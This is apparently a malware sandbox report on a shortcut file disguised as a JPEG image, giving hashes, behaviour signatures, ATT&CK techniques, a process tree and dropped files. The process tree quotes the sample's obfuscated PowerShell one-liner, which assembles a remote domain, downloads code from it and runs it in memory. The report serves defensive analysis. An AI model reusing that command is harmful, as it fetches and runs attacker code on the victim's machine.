53f51b6002c1aac15395fd2b3a57fc4f95b8be1aada40c282d4f58acffb5fa06

Analysis

max time kernel
148s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_004931.jpg.lnk
Size 1KB
Sample260728-mcap2svajd
SHA256 53f51b6002c1aac15395fd2b3a57fc4f95b8be1aada40c282d4f58acffb5fa06
MD5 440a5b1e764c2c7310fe356db9093048
SHA1 0dc9a79283ef4c19a1a3c41b28fcd5abc40fe955
SHA512 cd9a17d5ee60c8f7cbcaa28ec3e9ce6673931d54aeff5fc8596999ec0c2e255b4b0eb3339f20f0c2b9258ba4d2fbad96d25cb940ee0786048a5a65858efce96d
TLSH
T18421DF255BF20228D6BB8B755876631187327A0EDA49CFDF1290C294A868211F878F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5092	powershell.exe
3	5092	powershell.exe
5	5092	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3800	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe
5092	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5092	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3800 wrote to memory of 5092	3800	cmd.exe	90
PID 5092 wrote to memory of 5532	5092	powershell.exe	91
PID 5532 wrote to memory of 5868	5532	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_004931.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('ervpho','r','nstaynow.','toi','shop','es')[1,5,0,3,2,4] -join $hddG8W) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzffv3bn\zzffv3bn.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5532
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1B3F.tmp" "c:\Users\Admin\AppData\Local\Temp\zzffv3bn\CSC2CBF031B82EE47A791F335582B4CB7C.TMP"
      4⤵
      PID:5868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES1B3F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1B3F.tmp
Size 1KB
SHA256 64e07c210152f1aca99096c6ccdda8ee3a0c095b813f6d85e8310b329872e12e
MD5 6df1f302d108588878d893fe02b7a7cc
SHA1 2f74f9f7be5d409c3077ad057b80e0877e4bae18
SHA512 d915305b9b599d8643c7853ef813a13385667654ecded0c9d4f072ca264960037f30e32c67ae3081a89e87b411ec3be2a157b6bb91c1904a7493831b88b389c8
TLSH
T17F218C0593F98B0EF0B74731A9F6132F9675FD94EFA2679A8540013C2851504EEE1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

zzffv3bn.dll

Path C:\Users\Admin\AppData\Local\Temp\zzffv3bn\zzffv3bn.dll
Size 3KB
SHA256 5ce46d14f88e1774c4b7c68e07e74dc11c76459b447cc58cf33a41dc2a3dc67d
MD5 14747df672fc503a6fc8b7684c3163f8
SHA1 6755082bb6a90b0a512efb097042b0fcfb52b728
SHA512 128573fe5f43cdcc0edba4eae3ee264af195990509174dad3fba268a905aa6a26aedb38f5355fc0d91a406a5fba78173b8d5ab1eb2e5344459f3b496ccf16341
TLSH
T1DC51CA1693E8466BE4770730AFF307A727B4FC509FB3676D59800229AC657185E31BB0
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2CBF031B82EE47A791F335582B4CB7C.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zzffv3bn\CSC2CBF031B82EE47A791F335582B4CB7C.TMP
Size 652B
SHA256 1eafe8ec2dc58cc34eda3035497adea3c7613988741cdf3b8831d70bf5259415
MD5 eac5388e596983019a3db2c6364666c8
SHA1 1d0c37c140e80350b93224183bab75b61b4e45f5
SHA512 05c1c9328661fd66e9a36dc77f5be82b225bf9b84305fb131b88eff1889affc206a67ef1114625a4b63b64118d1a60ad5f1a0ef484f9432ae82a500965e4093f
TLSH
T10CF0820963F8520EF0F34B30BDF683A391A8BCA5DE72A3ED1840032D2C645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

zzffv3bn.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zzffv3bn\zzffv3bn.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

zzffv3bn.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zzffv3bn\zzffv3bn.cmdline
Size 369B
SHA256 3a73e67a4d55c6734aaf005de1ae1f55b10612e85b7c8348d31a6820a022c9f7
MD5 ee9de88639366ab76e30bb3d87eaaf16
SHA1 4e2c79d558c6cd1029fbfb94729a8734197b418d
SHA512 dacdc2b52d290e111948a96759575a1e98791b27cac82435beb6f9a915d390e2402f3868cafe12993e78cf5b89949f840c1e1fc8cba39727b5ed1b837bb94deb
TLSH
T1FAE0683AC266C27E71D910172379C4BC8272064379503FC8A040440DD2971082FE37D9
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5092-14-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-8-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-11-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-12-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-13-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-2-0x00007FFAD210F000-0x00007FFAD2110000-memory.dmp

Download

memory/5092-15-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-16-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-9-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-10-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-29-0x00000159AFE20000-0x00000159AFE28000-memory.dmp

Download

memory/5092-7-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-6-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-5-0x00000159AF960000-0x00000159AF982000-memory.dmp

Download

memory/5092-30-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-31-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download

memory/5092-35-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp

Download